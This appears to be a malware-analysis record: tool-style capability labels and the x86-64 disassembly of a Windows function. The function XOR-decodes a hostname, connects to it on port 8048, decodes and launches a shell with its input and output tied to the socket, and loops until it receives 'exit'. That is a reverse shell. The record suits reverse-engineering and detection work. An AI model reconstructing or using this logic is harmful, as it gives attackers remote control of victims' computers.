Function at 0x140001000
Capabilities:
Connect socket
Create a process with modified i/o handles and window
Create process on windows
Encode data using xor
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5a0]
sub rsp, 0x6a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x590], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
xor r12d, r12d
mov dword [0x14001dcb0], 0x4b4b4b4b
mov dword [0x14001dcb4], 0x4b4b4b4b
lea r15, str.exit_n
mov word [0x14001dcb8], 0x4b4b
lea r13d, [r12 + 2]
lea rbx, str.__e.3.
lea rdi, str.___e_______9_3zrse__
nop dword [rax + rax]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x202
lea rdx, [rbp - 0x10]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r9d, r9d
mov dword [rsp + 0x28], r12d
mov ecx, r13d
mov dword [rsp + 0x20], r12d
lea edx, [r9 + 1]
lea r8d, [r9 + 6]
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov ecx, 0x1e
mov r14, rax
call fcn.140001340
mov r8, rax
mov r9, rax
mov rdx, rdi
sub r8, rdi
mov byte [rax + 0x1d], r12b
nop word [rax + rax]
movzx ecx, byte [rdx]
mov byte [r8 + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400010e0
mov ecx, 0x1d
nop dword [rax]
nop dword [rax + rax]
xor byte [rax], 0x4b
lea rax, [rax + 1]
sub rcx, 1
jne 0x140001100
mov rcx, r9
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov word [rbp - 0x20], r13w
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov ecx, 0x1f70
mov dword [rbp - 0x1c], eax
call qword [sym.imp.WS2_32.dll_htons]
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
lea rdx, [rbp - 0x20]
mov rcx, r14
mov word [rbp - 0x1e], ax
mov qword [rsp + 0x20], r12
lea r8d, [r9 + 0x10]
call qword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
jne 0x140001172
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140001080
xor edx, edx
lea rcx, [rbp + 0x190]
mov r8d, 0x400
call fcn.1400101c0
xor r9d, r9d
lea rdx, [rbp + 0x190]
mov r8d, 0x400
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
mov ecx, 8
call fcn.140001340
mov r8, rax
mov rsi, rax
mov rdx, rbx
sub r8, rbx
mov byte [rax + 7], r12b
nop dword [rax]
movzx ecx, byte [rdx]
mov byte [r8 + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400011c0
mov ecx, 7
nop dword [rax]
nop dword [rax + rax]
xor byte [rax], 0x4b
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400011e0
mov rcx, 0xffffffffffffffff
mov rdi, rcx
inc rdi
cmp byte [rsi + rdi], r12b
jne 0x1400011f7
inc rdi
mov rax, r13
mul rdi
cmovo rax, rcx
mov rcx, rax
call fcn.140001340
mov r8, rdi
mov rdx, rsi
mov rcx, rax
mov rbx, rax
call fcn.140005ee0
xorps xmm0, xmm0
mov qword [rbp - 0x30], r14
movups xmmword [rbp - 0x40], xmm0
lea rax, [rsp + 0x50]
mov qword [rbp - 0x38], r14
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rsp + 0x70]
mov qword [rbp - 0x40], r14
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], r12
mov rdx, rbx
mov qword [rsp + 0x30], r12
xor ecx, ecx
movups xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x28], r12d
movups xmmword [rbp - 0x60], xmm0
mov dword [rsp + 0x20], 1
movups xmmword [rbp - 0x80], xmm0
mov dword [rsp + 0x70], 0x68
movups xmmword [rbp - 0x70], xmm0
mov dword [rbp - 0x54], 0x101
movups xmmword [rbp - 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea rcx, [rbp + 0x190]
mov r8d, 0x400
call fcn.1400101c0
mov rax, r12
lea rdx, [rbp + 0x190]
nop dword [rax]
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [r15 + rax - 1]
jne 0x14000106a
cmp rax, 6
jne 0x1400012e0
xor ecx, ecx
call fcn.140005bf8
int3